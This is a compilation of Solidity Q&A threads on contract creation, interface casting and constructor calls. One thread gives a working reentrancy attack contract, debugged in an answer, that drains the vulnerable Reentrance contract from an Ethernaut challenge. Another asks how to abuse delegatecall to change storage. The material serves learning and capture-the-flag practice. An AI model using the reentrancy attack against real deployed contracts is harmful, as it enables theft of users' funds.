I have the following code, which is malfunctioning, to create a payable contract from another contract.
pragma solidity ^0.4.16;
Contract Factory {
uint contractCount = 0;
mapping(uint => MyContract) public myContracts;
function createContract(uint money) external payable {
require(msg.value >= money);
contractCount++;
// the following line fails
myContracts[contractCount] = new MyContract(money);
}
}
Contract MyContract {
uint money;
function MyContract(uint _money) {
require(msg.value >= _money);
money = _money;
}
}
I am using Remix IDE. I can create an instance of Factory without a problem, however, it fails to create a new MyContract instance when I try createContract(money). I suspect it is because the way to call new MyContract() is not transferring any value and thus fails the require(msg.value >= _money) in MyContract constructor.
So how do I create an instance of a payable constructor from a contract?
First you need to make your constructor payable for this to work.
I suspect it is because the way to call new MyContract() is not transferring any value and thus fails the require(msg.value >= _money) in MyContract constructor.
You are right. Solidity's syntax for doing this is somewhat unusual. Take a look at this section of the documentation.
child = (new B).value(10)(); //construct a new B with 10 wei
If the constructor takes arguments, they go in the final parentheses attached to the new expression.
In your example it would look like this:
myContracts[contractCount] = (new MyContract).value(msg.value)(money);
For those of you still looking to solve this. .value has been deprecated and the example using the new syntax would look like this:
myContracts[contractCount] = (new MyContract){value: msg.value}(money);
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
Here is the code:
pragma solidity 0.5.1;
contract ERC20Token{
string public name;
mapping(address => uint256) public balances;
function mint() public{
balances[tx.origin] += 1;
}
}
contract MyContract {
address payable wallet;
address public token;
constructor(address payable _wallet, address _token) public {
wallet = _wallet;
token = _token;
}
function() external payable {
buyToken();
}
function buyToken() public payable{
ERC20Token _token = ERC20Token(address(token));
_token.mint();
wallet.transfer(msg.value);
}
}
Process:
First, we are getting the ERC20Token contract address by deploying the ERC20Token contract in the first place.
Secondly, MyContract constructor takes (a wallet address and the ERC20Token contract address) as two parameters.
Then, we create a ERC20Token contract object from this line
ERC20Token _token = ERC20Token(address(token));
I got confused by how this line worked. Even the ERC20Token contract does not contain any constructor, where the above code passes the token as a parameter to the ERC20Token constructor.
If i delete the token parameter from the above code:
ERC20Token _token = ERC20Token();
I will get an error called
Exactly one argument expected for explicit type conversion
Could anyone explain to me why this happens in solidity?
Without the new keyword, you're making a pointer to an already deployed instance of the ERC20Token contract, passing its address in the argument. Since the contract is already deployed and the constructor has been already executed, you do not pass its constructor params.
// address of existing instance
ERC20Token _token = ERC20Token(address(token));
With the new keyword, you'd be deploying a new instance of ERC20Token, specifying its constructor params. Its address is then available by typecasting the variable to address type.
// creating new instance
// passing constructor params (in your case empty)
ERC20Token _token = new ERC20Token();
// address of the newly deployed contract
address tokenAddress = address(_token);
I just started on building Tokens using ETH & BSC, this is one statement which I see in many Contracts.
Inside the Constructor method, the Uniswap router is iniliazed probably with the V2 version. What is the use of this?
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
Why is this initialization required? What is the functionality of this?
Appreciate if someone could help.
Thanks
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
This line initializes a pointer to the 0x10ED... address and expects the contract (deployed at the 0x10ED... address) to implement the IUniswapV2Router02 interface.
The interface is defined somewhere with the caller contract source code.
It allows you to execute and call functions defined by the interface instead of building low-level calls. It also allows you to use the returned datatypes instead of parsing the returned binary.
Example:
pragma solidity ^0.8.5;
interface IRemote {
function foo() external view returns (bool);
}
contract MyContract {
IRemote remote;
constructor() {
remote = IRemote(address(0x123));
}
function getFoo() external view returns (bool) {
bool returnedValue = remote.foo();
return returnedValue;
}
}
i'm trying to use a contract instance as a variable of another contract, such as the example below.
pragma solidity ^0.4.23;
contract basic {
uint num1 = 10;
function getNum1() public view returns(uint) {
return num1;
}
function setNum1(uint _num) public returns(uint) {
num1 = _num;
}
}
contract parent {
uint public num2;
basic public b;
constructor() public {
b = new basic();
num2 = 20;
}
function getNum1() public constant returns(uint) {
return b.getNum1();
}
}
while when i test the contract in remix and truffle , it worked well.
enter image description here
but util i deployed the contract "parent" on my private network, parent.getNum1() returned '0' instead of '10' as supposed.
further more, i tried other type of constructors such as take an address of 'basic' as a parameter, it didn't work as well.
i also tried some contracts thats takes another contract instance as a variable, they all didn't work well on private network.
does anybody ever meet this problem? help!!!
coming to close the question now !
i deployed my contract on ropsten test network, and the contract worked well.
it seems that my private network didn't support the usage of calling from another contract. anybody interested can have a try to see.
I'm trying to change the value of a variable in a contract that is in the blockchain. I've deducted its code and is something like this:
pragma solidity ^0.4.8;
contract Trial {
address public owner;
address public person;
uint initialEther;
function Trial(address _person) payable {
owner = msg.sender;
person = _person;
initialEther = msg.value;
}
modifier only_person() {
if (msg.sender!=person && tx.origin!=person) throw;
_;
}
function() payable {}
bytes4 public signature = bytes4(sha3("libraryFunction()"));
bool variableToBeChanged = false;
function libraryInvocation(address libraryAddress) only_person {
bool doSomething = libraryAddress.delegatecall(signature);
if (variableToBeChanged) {
.....
}
}
}
Suppose that I have the right signature of the library function, what I'm trying to do is to change the value of "variableToBeChanged" in order to execute the code inside the if.
Probably there is a way to create a library with a function with a proper name and inserting assembler code in some way to change the value of the variable. But it's like using an atomic bomb to kill an ant. I'm looking for the simpler way to do this.
I also know this contract is not safe, I'm trying to understand if this is possible and I want to understand how risky this can be for a contract.
Without a function changing the variable it is not possible. Once the contract code is deployed, it is final, no change is possible. You need to deploy a new contract.
You could control with your contract which wallet is allowed to call the function by checking the msg.sender attribute for a specific wallet address.
address owner = 0x2FD4...;
if(msg.sender != owner) throw;
//code afterwards)